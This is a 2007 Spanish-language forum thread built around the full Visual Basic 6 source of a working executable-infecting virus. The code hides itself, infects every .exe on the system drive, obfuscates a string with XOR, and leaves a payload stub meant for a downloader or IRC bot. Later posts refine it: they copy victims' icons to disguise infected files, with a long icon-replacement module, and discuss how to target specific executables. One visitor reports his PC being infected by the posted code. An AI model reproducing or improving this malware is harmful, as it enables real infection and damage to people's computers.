Infección de Ejecutables en Visual Basic 6.0
Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección :P Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source :)
Como funciona?
1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada
(http://perso.wanadoo.es/madantrax/struct.jpg)
Form1.frm
Private Sub Form_Load()
App.TaskVisible = False
If App.PrevInstance = True Then End
SelfCheck
End Sub
InfectModule.bas
Function SelfCheck()
On Error Resume Next
Dim MyCode As String
'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
MyCode = Input(LOF(1), 1)
Close #1
'Separa "MyCode" buscando la marca de infección (**X**)
Buffer = Split(MyCode, "(**X**)")
If UBound(Buffer) = 1 Then
'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
Hostage = Buffer(1)
DivideFiles Hostage
Else
'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
Subfolders (Environ("SystemDrive") & "\")
DoEvents
End
End If
End Function
Function DivideFiles(ByVal Hostage As String)
Randomize
On Error Resume Next
Dim TmpFile As String
'Crea un archivo temporal con el código del Huésped, por ejemplo:
'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
Open TmpFile For Binary As #1
Put #1, , Hostage
Close #1
DoEvents
'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
Shell TmpFile, vbNormalFocus
Call ExecPayload
End Function
Function InfectFile(ByVal Victim As String)
On Error Resume Next
Dim VictimCode As String
Dim NewCode As String
Dim MyCode As String
'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
MyCode = Input(LOF(1), 1)
Close #1
'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
Open Victim For Binary As #1
VictimCode = Input(LOF(1), 1)
Close #1
'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
NewCode = MyCode & "(**X**)" & VictimCode
'Sobrescribe el archivo Huésed con el infectado
Open Victim For Binary As #1
Put #1, , NewCode
Close #1
End Function
Function IsInfected(ByVal File As String) As Boolean
On Error Resume Next
Dim FileCode As String
'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
Open File For Binary As #1
FileCode = Input(LOF(1), 1)
Close #1
'Separa "FileCode" buscando la marca de infección (**X**)
Buffer = Split(FileCode, "(**X**)")
'Devuleve "True" o "False" si ha encontrado la marca (**X**)
If UBound(Buffer) <> 0 Then
IsInfected = True
Else
IsInfected = False
End If
End Function
Function Subfolders(path)
On Error Resume Next
'Se cifra el string que carga el objeto Scripting.FileSystemObject
Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
Set Drives = fso.Drives
newpath = path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each File In Files
ext = fso.GetExtensionName(File.path)
ext = LCase(ext)
nam = LCase(File.Name)
If (ext = "exe") Then
If IsInfected(File.path) = False Then
InfectFile (File.path)
DoEvents
End If
End If
Next
Set File = Fold.Subfolders
For Each Subfol In File
Call Subfolders(Subfol.path)
Next
End Function
Function ExecPayload()
'#######################################################
'## Si quieres que los archivos infectados ejecuten ##
'## la función de buscar e infectar nuevos archivos ##
'## elimina los comentario que hay a continuación ##
'#######################################################
'Subfolders (Environ("SystemDrive") & "\")
'DoEvents
MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
End
End Function
Encryption.bas
Function bullet(FullCode)
'Funcion que cifra Strings con el operador XOR
For i = 1 To Len(FullCode)
Current = Mid(FullCode, i, 1)
Code = Chr(Asc(Current) Xor 2)
bullet = bullet + Code
Next
End Function
Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD
Ir con cuidado, Saludos!!
Esté código lo programé enterito para el Laboratorio del foro, pedí si podía sacar el código fuera y aquí lo teneis, de pueden mejorar algunas cosillas, vosotros mismos...
Saludos!!
Yo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio, ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Lo dicho, si logro terminarlo lo posteare, ya que no voy a usar al codigo...
Salu2
PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\
Cita de: Hendrix. en 4 Abril 2007, 23:19 PM
ya que de tu manera, el icono siempre sera el de TU programa, es decir, el del VB, esto canta mucho, si alguien se mete a buscar algo en su HD y se encuentra con los ejecutables todos con el mismo icono del VB...XDDD
Exacto, pero eso tiene facil solución... antes de infectar el archivo hay que leer su icono y escribirlo a nuestro código vírico, en mis pruebas con una máquina virtual funciona de maravilla, solo tienes que añadir el módulo de IconChanger.bas que ya postee aqui.
Saludos!!
Cita de: Hendrix. en 4 Abril 2007, 23:19 PM
PD: esto no estaba ya explicado por WarGhost en un papper??? :-\ :-\
Mi código es del 29 Junio 2006, desconozco si WarGhost lo hizo antes o después.
Saludos!!
Ok...lo del icono me extraño, ya que canta mucho, y como no posteaste el modulo del icono pues crei que no lo cambiabas... ;) ;)
Un Saludo. ;)
Muy bueno, lo provaré :xD (En Virtual PC claro esta) ;D ;D
¿Y que habría que modificar en el codigo para que infectase solo a un .exe determinado? No a todos
Y una cosa, esto es una aplicacion o el codigo se lo añadimos por ejemplo a un archivo que tengamos nosotros??
Muy buenos todos tus trabajos
Un saludo ;) ;)
CitarYo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio
eso no va a funcionar.
1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:
MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion
2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.
3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.
todo esto suponiendo que quieras hacerlo en vb.
Lo prové y algunos fallos:
-Durante la infeccion consume todos los recursos del sistema, en mi Virtual PC me apareció al advertencia "Minimo de memoria virtual" y tengo establecidos 512MB de RAM. Aunke tarde un poko mas debería actuar en segundo plano...pues puede que la victima desconfie o simlemente se le bloquee y reinicie...
-Una vez infectada la victima, las aplicaciones no se ejecutan con parametros, es decir, si abres un documento de texto Windows por defecto ejecuta "notepad.exe %1" pues si esta infectado solo se ejecutará "notepad.exe". Es decir, al abrir un archivo de texto simplemente se abrira el block de notas pero no abrira el archivo seleccionado...lo mismo pasa con archivos de musica y tal...
Otro ejemplo, si escribes en ejecuta "cmd.exe /C "tasklist" en verdad te ejecutara "cmd.exe" simplemente se abrira la consola sin hacer nada mas...
Otro ejemplo, si dentro de la consola escribes cualquier comando como por ejemplo "taskkill /F /IM proceso.exe" simplemente te ejecutará "taskkill" por lo que en la ventana te aparecerá la ayuda de taskkill (que es lo que este responde cuando lo ejecutas sin parametros)
Por esto mismo los .bat tambien quedan inservibles
En resumen, los .exe infectados omiten cualquier parametro en su ejecucion...
Por el resto todo bien, aun no lo prové demasiado, de momento esos fueron los dos errores mas salientables...
Buen trabajo
Un saludo ;) ;)
En mi máquina virtual el virus no consume tantos recursos, pero eso es tan facil como poner un sleep cada 100 archivos y solucionado.
El tema de los parametros ya era consciente, se puede solucionar de forma sencilla con una función más que recoja los parametros y se los envíe a la aplicación infectada
Para terminar, los archivos de system32 (cmd, taskkill, tasklist, etc...) tiene habilitado el SFC de Windows (Sistema de Protección de Archivos), si un virus o similar modifica, sobreescribe o elimina un ejecutable, esté se creará de nuevo pasado unos segundos. Es por eso que no se puede infectar el cmd, explorer, tasklist, etc...
Saludos!!
Hola
bua esta mortal nen
Yo de siempre habia usado otra técnica, pero esta aparte de mas simple veo que es mas efectiva.
Lo unico que no encuentro es lo del IconChanger.bas que dices para mejorarlo.
saludos
Ahh, en mi maquina virtual tengo el SFC desactivado por lo que si que infecta el cmd.exe y estos archivos...aunke supongo que el explorer.exe y alguno mas no los infectará pork estan en ejecucion...
Sobre los recursos empieza y consume casi toda la CPU y lo deje infgectando y cuando termino miré y estaba la advertencia esa que te dije "minimo de memoria virtual"...
¿¿Podrías modificar el codigo fuente con lo de los parámetros y los recursos arreglado??
¿Y como puedo hacer para infectar solo a un ejecutable determinado que quiera y no a todos los del sistema?
Un saludo ;) ;) ;)
Cita de: - en 5 Abril 2007, 02:36 AM
CitarYo estoy haciendo mi metodo....estoy haciendo pruebas de como substituir el entrypoint del programa por el mio
eso no va a funcionar.
1º si es en vb olvidate, si aun asi logras escribir alguna rutina que sirva de algo en otros pcs lo tiene crudo ya que si infectas (lo que es una verdadera infeccion) el codigo se escribe de forma distinta a la "normal" no se puede llamar a las funciones tal cual, por ejemplo:
MessageBoxA(..................) <---- Esto no funciona a la hora de una infeccion
2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.
3º es aconsejable dejar todos los registros y flags como estaban antes de devolver el control al programa original en vb veo esto poco factible.
todo esto suponiendo que quieras hacerlo en vb.
Lo ago en C... ;) ;) Ya se que VB no da para tanto...
Citar2º si infectas un ejecutable no tienes que poner tu entrypoint, dependiendo el metodo de infeccion calcularas de una forma o de otra el inicio de tu codigo en el archivo infectado, ese sera tu entrypoint ahora ya que en una infeccion te "desprendes" de tu cabecera.
Mi intencion era modificar el EntryPoint del archivo infectado para que apuntara al codigo de mi ejecutable, asi iniciarse el mio y despeus ya generar y ejecutar el otro....recuerdo que el Txernobil (Worm) se alojaba en los espacios "inservibles" de los archvios, de modo que no aumentaba el peso y se ejecutaba perfectamente...
Un Saludo.
Yo ahora tb estoy desarrollando un code de infeccion, q creo, pero no estoy muy seguro q funciona distinto a ese, ya q en propagacion virica no estoy muy puesto.
Soy la idea general, para el q le interese. Lo mio seria mas bien tipo joiner. Copiamos en un archivo el ekivalente al stubb, a continuacion nuestro virus, y al final el ejecutable q hemos infectado.
Despues borramos el ejecutable original y nos kedamos con su nombre y su icono. De esta manera al ejecutarse este nuevo ejecutable extraeria el archiv original de si mismo, lo ejecutaria y haria lo mismo con el "virus" o el code q keramos ponerle.
Es asi como lo haceis vosotros no?? por q yo eso del entrypoint ni lo e tocado :xD :xD
Muy lindo ||MadAntrax||
me gusto mucho
slu2 y gracias
PD: Ya toy implementandolo en un wormq hice hace un buen tiempo
salu2
acabo de comprobar lo de los iconos la verdad es que si, es un poco cantoso.
Algien sugiere algo para evitar ese pequeño fallo
saludos
si,
ya dijiseron que con el modulo del IconChanger
se puede arreglar todo
salu2 y suerte
tube buscando por el foro pero no encontre nada sobre ese modulo :-[
bajate el Catrus Joiner Source,
que ahi tenes el iconChanger
salu2
vale ya tengo el modulo, pero no lo e pillado muy bien, cuales son los parametros para llamar a la funcion
ReplaceIcons [icono], [la ruta de donde este el .exe], [lok viene ahora ya no lo entiendo]
el problema es que en el codigo del cactus joiner, ya selecionaba el icono (.ico), pero lo que necesitamos aqui es extraerselo a un ejecutable (.exe).
saludos
Citarpero lo que necesitamos aqui es extraerselo a un ejecutable (.exe).
ahhh,
habermelo dicho antes,
proba cn esto:
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=43668&lngWId=1
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=34062&lngWId=1
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=22893&lngWId=1
espero q alguno t sirva
salu2 y suerte
gracias eso me a venido perfecto.
Bien ya tengo extraido el icono, ahora lo que necesito es remplazarlo (usare el iconchanger), aver si esta bien asi la estructura:
CitarReplaceIcons picViewIcon.Picture, Victim
(picViewIcon.Picture = el_icono ; Victim = la_ruta_del_exe)
asi valdria o faltaria ponerle algo mas?
saludos
para el icon changer si no me equivoco,
necesitas tener el archivo .ico
para eso utiliza esto:
http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=22893&lngWId=1
salu2
hola me temo que ninguno de los modulos presentes son eficientes la unica forma de que quede un buen trabajo es trabajar con las apis LoadResource,EnumResourceLanguages,EnumResourceNamesByNum
EnumResourceNamesByString,EnumResourceTypes
y especialmente
BeginUpdateResource,UpdateResource,EndUpdateResource
voy a ver si puedo hacer un modulo para cambiar el icono de un exe por otro exe
Hola
ok aver que tal te queda, porque yo desarrole el mio atraves de todo lo que me sugirieron me eran demasiadas lineas, me ongordaba demasiado el bicho
saludos
Hola, entro al foro porque alguien entro a la maquina donde yo trabajo y entro a este foro y adrede descargo el codigo en cuestion y me infecto la PC. Buscando algo de información encontre este foro, queria preguntarles de que manera se puede eliminarlo ya que hace imposible usar la PC.
Gracias.
si nos dices cual es el codigo en cuestion se puede hacer una "vacuna" para el.
Si no, busca entre tus procesos y mata el del virus o el que te parezca sospechoso, y luego pasa el AV aver si hace algo de provecho.
Es el que hablan en ucestion en este post, que esta para bajar el source.
En cada proceso y archivo que ejecuta la PC se abre una ventana que dice "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
Saludos.
pues te pillas un editor hexadecimal y sabiendo el tamaño del archivo pues lo tienes facil de quitar. segun creo recordar decian que estaba hecho para actuar de la siguiente forma virus+marca+programa original. si no se modifica nada en cada infeccion el tamaño es fijo sabiendo el del virus recuperas rapido el original o si no como hay 2 cabeceras las buscas y lo arreglas.
Cita de: slossetti en 10 Abril 2007, 17:07 PM
Es el que hablan en ucestion en este post, que esta para bajar el source.
En cada proceso y archivo que ejecuta la PC se abre una ventana que dice "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
Saludos.
Vaya tela, mira que dije claramente:
OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD Ir con cuidado, Saludos!!Bueno, si ha sido con el mismo source de la primera pagina se puede crear una simple vacuna cambiando unos valores... pero ahora mismo no tengo tiempo ni de mirarmelo. Tendrás que esperar al fin de semana o esperar a ver si algu usuario lo hace
bueno siguiendo con el tema de los iconos, pongo un modulo para cambiar el icono de un exe por el de otro exe, esta un poco extenso ya que no esta echo para este proposito, pero se puede resumir vastante y optimizar mas,
En un modulo bas
Option Explicit
'modificado by LIA 14/04/07
Private Type ICONDIRENTRY
bWidth As Byte '// Width of the image
bHeight As Byte '// Height of the image (times 2)
bColorCount As Byte '// Number of colors in image (0 if >=8bpp)
bReserved As Byte '// Reserved
wPlanes As Integer '// Color Planes
wBitCount As Integer '// Bits per pixel
dwBytesInRes As Long '// how many bytes in this resource?
dwImageOffset As Long '// where in the file is this image
End Type
Private Type ICONDIR
idReserved As Integer '// Reserved
idType As Integer '// resource type (1 for icons)
idCount As Integer '// how many images?
'idEntries() as ICONDIRENTRY array follows.
End Type
Private Type tBits
bBits() As Byte
End Type
Private Type IcoExe
IcoDir As ICONDIR
Entries() As ICONDIRENTRY
End Type
Private Type Ico
IcoDir As ICONDIR 'entete
Entries() As ICONDIRENTRY 'decrit chaque icone
IcoData() As tBits 'données
End Type
Private Type MEMICONDIRENTRY
bWidth As Byte '// Width of the image
bHeight As Byte '// Height of the image (times 2)
bColorCount As Byte '// Number of colors in image (0 if >=8bpp)
bReserved As Byte '// Reserved
wPlanes As Integer '// Color Planes
wBitCount As Integer '// Bits per pixel
dwBytesInRes As Long '// how many bytes in this resource?
nID As Integer '// the ID
End Type
Private Const IMAGE_ICON = 1
' File read/write through Win32. Declares are modified from the VB versions to allow null to be passed to lpSecurityAttributes and lpOverlapped:
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Const GENERIC_READ = &H80000000
Private Const GENERIC_WRITE = &H40000000
Private Const OPEN_EXISTING = 3
Private Const CREATE_ALWAYS = 2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const INVALID_HANDLE_VALUE = -1
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long
Private Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Const FILE_BEGIN = 0
' Resource functions:
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long
Private Const LOAD_LIBRARY_AS_DATAFILE = &H2&
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, lpName As Any, lpType As Any) As Long
Private Declare Function SizeofResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Private Declare Function FreeResource Lib "kernel32" (ByVal hResData As Long) As Long
Private Declare Function BeginUpdateResource Lib "kernel32.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Private Declare Function UpdateResource Lib "kernel32.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function EndUpdateResource Lib "kernel32.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long
Private Declare Function EnumResourceNamesByNum Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long
Private Const RT_ICON = 3
Private Const DIFFERENCE = 11
Private Const RT_GROUP_ICON = RT_ICON + DIFFERENCE
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
lpvDest As Any, lpvSource As Any, ByVal cbCopy As Long)
Private m_sFile As String
Private m_vID As Variant
Private m_tID As ICONDIR
Private m_tIDE() As ICONDIRENTRY
Private m_tBits() As tBits
Private m_VName As Variant
Public Function RemplaceIcons(Source As String, Dest As String) As Boolean
Dim m_hMod As Long
If Not CanWrite(Dest) Then Exit Function
m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod
If (VarType(m_VName) = vbLong) Then
LoadIconFromEXE Source, m_VName
Else
LoadIconFromEXE Source, , m_VName
End If
SaveIcon "c:\" & m_VName & ".ico"
m_hMod = LoadLibraryEx(Source, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
Call EnumResourceNamesByNum(m_hMod, RT_GROUP_ICON, AddressOf EnumResNamesProc, 0)
FreeLibrary m_hMod
If ReplaceIcoInExe(Dest, "c:\" & m_VName & ".ico", 1, m_VName, 0) Then
RemplaceIcons = True
End If
End Function
Private Function CanWrite(File As String) As Boolean
On Local Error GoTo Denegar
Dim FF As Integer
FF = FreeFile
Open File For Binary Access Write As #1
Close
CanWrite = True
Exit Function:
Denegar:
End Function
Private Function LoadIconFromEXE( _
ByVal sFile As String, _
Optional ByVal lpID As Long = 0, _
Optional ByVal lpName As String = "" _
) As Boolean
Dim hLibrary As Long
Dim hRsrc As Long
Dim hGlobal As Long
Dim lPtr As Long
Dim iEntry As Long
Dim tMIDE As MEMICONDIRENTRY
Dim nID() As Integer
Dim iBaseOffset As Long
Dim lSize As Long
Dim bFail As Boolean
' Loads an Icon from an Executable (EXE, DLL etc). Use the EnumResources module
' to determine the available resource IDs.
m_sFile = sFile
m_vID = Empty
Erase m_tIDE
Erase m_tBits
With m_tID
.idCount = 0
.idReserved = 0
.idType = 0
End With
hLibrary = LoadLibraryEx(sFile, ByVal 0&, LOAD_LIBRARY_AS_DATAFILE)
If (hLibrary = 0) Then
' Failed to load the executable. Probably not a Win32 EXE.
'Err.Raise vbObjectError + 1048 + 6, App.EXEName & ".cFileIcon", "Can't load library."
LoadIconFromEXE = False
Else
' Find the resource:
If (lpID <> 0) Then
lpName = "#" & CStr(lpID)
hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
m_vID = lpID
Else
hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_GROUP_ICON)
m_vID = lpName
End If
If (hRsrc = 0) Then
' Resource not found in this library:
'Err.Raise vbObjectError + 1048 + 7, App.EXEName & ".cFileIcon", "Can't find resource."
LoadIconFromEXE = False
Else
' Load the resource (returns a handle which can be used to access the data):
hGlobal = LoadResource(hLibrary, hRsrc)
If (hGlobal = 0) Then
'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't load resource."
LoadIconFromEXE = False
Else
' Lock the resource for reading (returns a pointer to the resource data):
lPtr = LockResource(hGlobal)
If (lPtr = 0) Then
'Err.Raise vbObjectError + 1048 + 8, App.EXEName & ".cFileIcon", "Can't lock resource."
LoadIconFromEXE = False
Else
' Get the icon header:
CopyMemory m_tID, ByVal lPtr, Len(m_tID)
Debug.Print m_tID.idCount, m_tID.idReserved, m_tID.idType
' Do we have icons in this resource?
If (m_tID.idCount > 0) Then
' For each of the entries, get the icon directory information:
ReDim m_tIDE(0 To m_tID.idCount - 1) As ICONDIRENTRY
ReDim nID(0 To m_tID.idCount - 1) As Integer
' Get all the directory information into a byte array (to avoid
' problems with WORD alignment of structures):
ReDim b(0 To Len(m_tID) + Len(tMIDE) * m_tID.idCount - 1) As Byte
CopyMemory b(0), ByVal lPtr, Len(m_tID) + Len(tMIDE) * m_tID.idCount
' Loop through the entries, getting the IDs and creating a standard
' ICONDIRENTRY structure:
For iEntry = 0 To m_tID.idCount - 1
' Get the MEMICONDIRENTRY structure:
CopyMemory tMIDE, b(Len(m_tID) + iEntry * Len(tMIDE)), Len(tMIDE)
' Store the icon's resource id:
nID(iEntry) = tMIDE.nID
' Copy data into standard ICONDIRENTRY structure. Note the .dwImageOffset
' member will be wrong at this stage:
CopyMemory m_tIDE(iEntry), tMIDE, Len(tMIDE)
Next iEntry
' Now correct the ICONDIRENTRY byte offsets:
iBaseOffset = Len(m_tID) + Len(m_tIDE(0)) * m_tID.idCount
m_tIDE(0).dwImageOffset = iBaseOffset
For iEntry = 1 To m_tID.idCount - 1
m_tIDE(iEntry).dwImageOffset = m_tIDE(iEntry - 1).dwImageOffset + m_tIDE(iEntry - 1).dwBytesInRes
Next iEntry
' Now we have the ICONDIRENTRY structures, get the actual bits of the icons:
ReDim m_tBits(0 To m_tID.idCount - 1) As tBits
For iEntry = 0 To m_tID.idCount - 1
' Load the icon with the specified resource ID:
lpName = "#" & nID(iEntry)
hRsrc = FindResource(hLibrary, ByVal lpName, ByVal RT_ICON)
If (hRsrc = 0) Then
bFail = True
Exit For
Else
' Load the resource:
hGlobal = LoadResource(hLibrary, hRsrc)
If (hGlobal = 0) Then
bFail = True
Exit For
Else
' Determine the size of the resource:
lSize = SizeofResource(hLibrary, hRsrc)
' If the size is valid:
If (lSize > 0) And (lSize = m_tIDE(iEntry).dwBytesInRes) Then
' Lock the resource and get a pointer to the memory:
lPtr = LockResource(hGlobal)
If (lPtr = 0) Then
bFail = True
Exit For
Else
' Store this memory in the bitmap bits array:
ReDim Preserve m_tBits(iEntry).bBits(0 To lSize - 1) As Byte
CopyMemory m_tBits(iEntry).bBits(0), ByVal lPtr, lSize
End If
Else
bFail = True
End If
End If
End If
Next iEntry
' Did we succeed?
If (bFail) Then
'Err.Raise vbObjectError + 1048 + 9, App.EXEName & ".cFileIcon", "Failed to read bitmap bits from resource."
' ensure clear:
sFile = ""
Erase m_tIDE
Erase m_tBits
m_tID.idCount = 0
m_vID = Empty
End If
LoadIconFromEXE = Not (bFail)
End If
End If
End If
End If
' Free library:
FreeLibrary hLibrary
End If
End Function
Private Function SaveIcon( _
Optional ByVal sFileName As String = "" _
) As Boolean
Dim hFile As Long
Dim dwBytesWritten As Long
Dim iEntry As Long
Dim bFail As Boolean
' General error checking:
If (m_sFile = "") Then
If (sFileName = "") Then
'Err.Raise vbObjectError + 1048 + 3, App.EXEName & ".cFileIcon", "No filename specified."
Exit Function
End If
End If
If (m_tID.idCount = 0) Then
'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Icon contains no images."
Exit Function
End If
' Now start writing:
If (sFileName <> "") Then
m_sFile = sFileName
End If
' Open the file for write:
hFile = CreateFile(m_sFile, GENERIC_WRITE, 0, ByVal 0&, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, ByVal 0&)
If (hFile = INVALID_HANDLE_VALUE) Then
'Err.Raise vbObjectError + 1048 + 4, App.EXEName & ".cFileIcon", "Couldn't open file for writing."
Else
' Write the header:
WriteFile hFile, m_tID, Len(m_tID), dwBytesWritten, ByVal 0&
If (dwBytesWritten = Len(m_tID)) Then
' Write the ICONDIRENTRY structures:
For iEntry = 0 To m_tID.idCount - 1
WriteFile hFile, m_tIDE(iEntry), Len(m_tIDE(iEntry)), dwBytesWritten, ByVal 0&
If (dwBytesWritten <> Len(m_tIDE(iEntry))) Then
bFail = True
Exit For
End If
Next iEntry
' Write the icon bits:
If Not (bFail) Then
For iEntry = 0 To m_tID.idCount - 1
WriteFile hFile, m_tBits(iEntry).bBits(0), m_tIDE(iEntry).dwBytesInRes, dwBytesWritten, ByVal 0&
If (m_tIDE(iEntry).dwBytesInRes <> dwBytesWritten) Then
bFail = True
Exit For
End If
Next iEntry
End If
Else
bFail = True
End If
' Close the file:
CloseHandle hFile
' Did we succeed?
If (bFail) Then
'Err.Raise vbObjectError + 1048 + 5, App.EXEName & ".cFileIcon", "General failure writing icon."
End If
SaveIcon = Not (bFail)
End If
End Function
Private Function OpenIconFile(Filename As String) As Ico
Dim t As Ico 'structure temporaire
Dim X As Long 'compteur
'on ouvre le fichier
Open Filename For Binary As #1
'on récupère l'entete du fichier
Get #1, , t.IcoDir
'redimensionne au nombre d'icones
ReDim t.Entries(0 To t.IcoDir.idCount - 1)
ReDim t.IcoData(0 To t.IcoDir.idCount - 1)
'pour chaque icones
For X = 0 To t.IcoDir.idCount - 1
'récupère l'entete de l'icone
Get #1, 6 + 16 * X + 1, t.Entries(X)
'redimensionne à la taille des données
ReDim t.IcoData(X).bBits(t.Entries(X).dwBytesInRes - 1)
'récupère les données
Get #1, t.Entries(X).dwImageOffset + 1, t.IcoData(X).bBits
Next
'ferme le fichier
Close #1
'renvoie les données
OpenIconFile = t
End Function
Private Function MakeIcoExe(IconFile As Ico, IDBase As Long) As IcoExe
Dim t As IcoExe 'structure temporaire
Dim X As Long 'compteur
'nombre d'icones
t.IcoDir.idCount = IconFile.IcoDir.idCount
'type : Icone = 1
t.IcoDir.idType = 1
'chaque entrée
ReDim t.Entries(IconFile.IcoDir.idCount - 1)
'pour chaque entrée
For X = 0 To t.IcoDir.idCount - 1
'entete d'icones
t.Entries(X).bColorCount = IconFile.Entries(X).bColorCount
t.Entries(X).bHeight = IconFile.Entries(X).bHeight
t.Entries(X).bReserved = IconFile.Entries(X).bReserved
t.Entries(X).bWidth = IconFile.Entries(X).bWidth
t.Entries(X).dwBytesInRes = IconFile.Entries(X).dwBytesInRes
t.Entries(X).dwImageOffset = X + IDBase
t.Entries(X).wBitCount = IconFile.Entries(X).wBitCount
t.Entries(X).wPlanes = IconFile.Entries(X).wPlanes
Next
'renvoie la structure
MakeIcoExe = t
End Function
Private Function ReplaceIcoInExe(Filename As String, sFile As String, BaseID As Long, GroupID As Variant, LangID As Long) As Boolean
Dim hWrite As Long 'handle de modification
Dim Exe As IcoExe 'structure de ressource icone
Dim ret As Long 'valeur de retour
Dim X As Long 'compteur
Dim D() As Byte 'buffer
Dim IcoFile As Ico
IcoFile = OpenIconFile(sFile)
'obtient un handle de modification
hWrite = BeginUpdateResource(Filename, 0)
'si échec, on quitte
If hWrite = 0 Then ReplaceIcoInExe = False: Exit Function
'sinon, on lit l'icone
Exe = MakeIcoExe(IcoFile, BaseID)
'on redimmensionne le buffer
ReDim D(6 + 14 * Exe.IcoDir.idCount)
'on copie les données dans le buffer
CopyMemory ByVal VarPtr(D(0)), ByVal VarPtr(Exe.IcoDir), 6
'pour chaque icone
For X = 0 To Exe.IcoDir.idCount - 1
'on copie les données
